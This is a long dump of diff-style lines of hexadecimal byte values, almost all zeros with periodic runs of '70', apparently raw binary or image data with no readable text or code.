+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000707070 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000707070707070707070707070707070707070 +707070707070707070707070707070707070707070707070000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000707070707070707070707070707070707070707070707070707070707070707070 +707070707070707070000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000707070707070707070 +707070707070707070707070707070707070707070707070707070707070707070000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000707070707070707070707070707070707070707070707070 +707070707070707070707070707070707070000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +707070000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 